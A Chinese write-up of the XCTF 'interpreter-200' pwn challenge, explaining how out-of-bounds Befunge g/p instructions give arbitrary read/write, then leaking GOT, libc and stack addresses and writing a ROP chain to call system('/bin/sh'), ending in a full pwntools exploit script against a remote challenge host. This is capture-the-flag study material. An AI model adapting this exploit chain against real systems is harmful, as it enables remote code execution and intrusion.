攻防世界PWN之interpreter-200题解

interpreter-200

这是一个befunge程序解释器,befunge程序的语法参考https://www.jianshu.com/p/ed929cf72312,还有官方的文档在https://esolangs.org/wiki/Befunge

另外本文参考国外的一篇,加以自己的理解,做了简化

https://uaf.io/exploitation/2016/09/05/TokyoWesterns-MMA-Interpreter.html

首先,检查一下程序的保护机制,发现保护全开

攻防世界PWN之interpreter-200题解_第1张图片

然后,我们用IDA分析一下,看似挺复杂,漏洞点在这,数组可以越界

攻防世界PWN之interpreter-200题解_第2张图片

g指令是用于获取program+80*v26+v27处一个字节数据压入栈里,而p指令用于在program+80*v26+v27处写数据,

攻防世界PWN之interpreter-200题解_第3张图片

&指令用于从终端读取一个整数压入栈里

,指令用于输出栈顶一个字节数据

借助于这四条指令,我们可以实现任意地址读写。

首先,我们需要泄露一些数据,因此,我们的befunge指令这样

  1. my_program = ('''''&&g,&&g,&&g,&&g,&&g,&&g,&&g,&&g,&&g,&&g,&&g,&&g,&&g,&&g,&&g,&&g,&&&*g,&&&*g,AAAv 
  2. vAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA,g*&&&,g*&&&,g*&&&,g*&&&,g*&&&,g*&&&<\n''')  

&&g,表示从终端输入两个数v27,v26,然后输出program+80*v26+v27处的一字节数据,由于泄露libc里的数据时,偏移范围超过了int的范围,因此,我们借助*指令,分步计算,即后面的&&&*g

当泄露完成后,我们就需要写数据,于是接下来的befunge指令是这样的

  1. my_program += '>&&&&*p&&&&*p&&&&*p&&&&*p&&&&*p&&&&*p&&&&*p&&&&*p&&&&*p&&&&*p&&&&*p&&&&*p&&&&*pv\n'  
  2. my_program += '<&&&&*p&&&&*p&&&&*p&&&&*p&&&&*p&&&&*p&&&&*p&&&&*p&&&&*p&&&&*p&&&&*p&&gAAAAAAAAAv'[::-1]  

当我们把befunge指令输入完毕后,后面的操作就是正常的操作的了。按着指令步骤,我们先来泄露一些基本地址

  1. #消除前面的影响  
  2. sh.recv()  
  3. #由于下标越界,我们可以泄露exitgot表内容,得到exit的地址  
  4. exit_ptr = ''  
  5. for i in range(-64,-56):  
  6.    sh.sendline(str(i))  
  7.    sh.sendline('-1')  
  8.    exit_ptr += sh.recv(1)  
  9.   
  10. #泄露program数组的地址,方便我们计算elf_base  
  11. program_ptr = ''  
  12. for i in range(-16,-8):  
  13.    sh.sendline(str(i))  
  14.    sh.sendline('-1')  
  15.    program_ptr += sh.recv(1)  
  16.   
  17. exit_addr = u64(exit_ptr)  
  18. program_addr = u64(program_ptr)  
  19. elf_base = program_addr - program_bss  
  20. pop_rdi_addr = elf_base + pop_rdi  
  21. libc = LibcSearcher('exit',exit_addr)  
  22. libc_base = exit_addr - libc.dump('exit')  
  23. system_addr = libc_base + libc.dump('system')  
  24. binsh_addr = libc_base + libc.dump('str_bin_sh')  
  25. print 'elf_base=',hex(elf_base)  
  26. print 'libc_base=',hex(libc_base)  
  27. print 'system_addr=',hex(system_addr)  
  28. print 'binsh_addr=',hex(binsh_addr)  

现在,基本信息已经有了,我们准备写ROP,但是我们不知道ROP该写在哪里,因此,我们还需要泄露栈地址,如何泄露栈地址?

在libc中有一个_environ变量存储着栈地址,由于我们已经泄露了libc的基地址,因此我们可以知道_environ的地址,于是,我们需要可以_environ的内容,由于偏移过大,我们拆分,借助befunge的乘法运算

  1. _environ = ''  
  2. offset = _environ_ptr - program_addr  
  3. #显然,offset_x超出了int的范围,得借助于乘法  
  4. '''''offset_x = offset / 80 
  5. offset_y = offset - offset_x*80 
  6. '''  
  7. #泄露_environ的值  
  8. offset_x1 = offset / 80 / 10000  
  9. offset_x2 = 10000  
  10. offset_x = offset_x1 * offset_x2  
  11. offset_y = offset - offset_x*80  
  12. for y in range(offset_y,offset_y+8):  
  13.    sh.sendline(str(y))  
  14.    sh.sendline(str(offset_x1))  
  15.    sh.sendline(str(offset_x2))  
  16.    _environ += sh.recv(1)  
  17.   
  18. _environ = u64(_environ)  
  19. #我们的ROP将写到此处  
  20. stack_addr = _environ - 0xF0  

这样,我们就得到了栈地址,然后就是写ROP了,原理一样,我们得借助乘法来偏移位置

  1. offset = stack_addr - program_addr  
  2. write_stack(offset,pop_rdi_addr)  
  3. write_stack(offset+8,binsh_addr)  
  4. write_stack(offset+16,system_addr)  

综上,我们完整的exp脚本如下

#coding:utf8
from pwn import *
from LibcSearcher import *

#sh = process('./befunge')
elf = ELF('./befunge')
program_bss = 0x202040
pop_rdi = 0x120c
sh = remote('111.198.29.45',32870)

#写栈数据,8字节
def write_stack(offset,data):
   offset_x1 = offset / 80 / 10000
   offset_x2 = 10000
   offset_x = offset_x1 * offset_x2
   offset_y = offset - offset_x*80
   for y in range(offset_y,offset_y+8):
      d = data & 0xFF
      data = data >> 8
      sh.sendline(str(d))
      sh.sendline(str(y))
      sh.sendline(str(offset_x1))
      sh.sendline(str(offset_x2))


#这两行用于输入两个数用于计算目标地址,然后泄露目标地址处内容
my_program = ('''&&g,&&g,&&g,&&g,&&g,&&g,&&g,&&g,&&g,&&g,&&g,&&g,&&g,&&g,&&g,&&g,&&&*g,&&&*g,AAAv
vAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA,g*&&&,g*&&&,g*&&&,g*&&&,g*&&&,g*&&&<\n''')
#写数据的程序
my_program += '>&&&&*p&&&&*p&&&&*p&&&&*p&&&&*p&&&&*p&&&&*p&&&&*p&&&&*p&&&&*p&&&&*p&&&&*p&&&&*pv\n'
my_program += '<&&&&*p&&&&*p&&&&*p&&&&*p&&&&*p&&&&*p&&&&*p&&&&*p&&&&*p&&&&*p&&&&*p&&gAAAAAAAAAv'[::-1]
print '==============================================the befunge program=============================='
print my_program
print '=============================================================================================='
sh.sendlineafter('>',my_program)

for i in range(23):
   sh.sendlineafter('>','')

#消除前面的影响
sh.recv()
#由于下标越界,我们可以泄露exit的got表内容,得到exit的地址
exit_ptr = ''
for i in range(-64,-56):
   sh.sendline(str(i))
   sh.sendline('-1')
   exit_ptr += sh.recv(1)

#泄露program数组的地址,方便我们计算elf_base
program_ptr = ''
for i in range(-16,-8):
   sh.sendline(str(i))
   sh.sendline('-1')
   program_ptr += sh.recv(1)

exit_addr = u64(exit_ptr)
program_addr = u64(program_ptr)
elf_base = program_addr - program_bss
pop_rdi_addr = elf_base + pop_rdi
libc = LibcSearcher('exit',exit_addr)
libc_base = exit_addr - libc.dump('exit')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
print 'elf_base=',hex(elf_base)
print 'libc_base=',hex(libc_base)
print 'system_addr=',hex(system_addr)
print 'binsh_addr=',hex(binsh_addr)
print 'pop_rdi_addr=',hex(pop_rdi_addr)

#通过上面的libcSearcher,我们确定了libc为2.23版本,所以,我们取libc2.23里面的pop rdi这个gadget
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
#泄露_environ的值,我们可以得到栈地址,方便我们确定写ROP的位置
_environ_ptr = libc_base + libc.symbols['_environ']
_environ = ''
offset = _environ_ptr - program_addr
#显然,offset_x超出了int的范围,得借助于乘法
'''offset_x = offset / 80
offset_y = offset - offset_x*80
'''
#泄露_environ的值
offset_x1 = offset / 80 / 10000
offset_x2 = 10000
offset_x = offset_x1 * offset_x2
offset_y = offset - offset_x*80
for y in range(offset_y,offset_y+8):
   sh.sendline(str(y))
   sh.sendline(str(offset_x1))
   sh.sendline(str(offset_x2))
   _environ += sh.recv(1)

_environ = u64(_environ)
#我们的ROP将写到此处
stack_addr = _environ - 0xF0
print 'stack_addr',hex(stack_addr)
offset = stack_addr - program_addr
write_stack(offset,pop_rdi_addr)
write_stack(offset+8,binsh_addr)
write_stack(offset+16,system_addr)

#getshell
sh.sendline(str(0))
sh.sendline(str(0))
sh.sendline('zhaohai')

sh.interactive()

 

你可能感兴趣的:(pwn,CTF,二进制漏洞)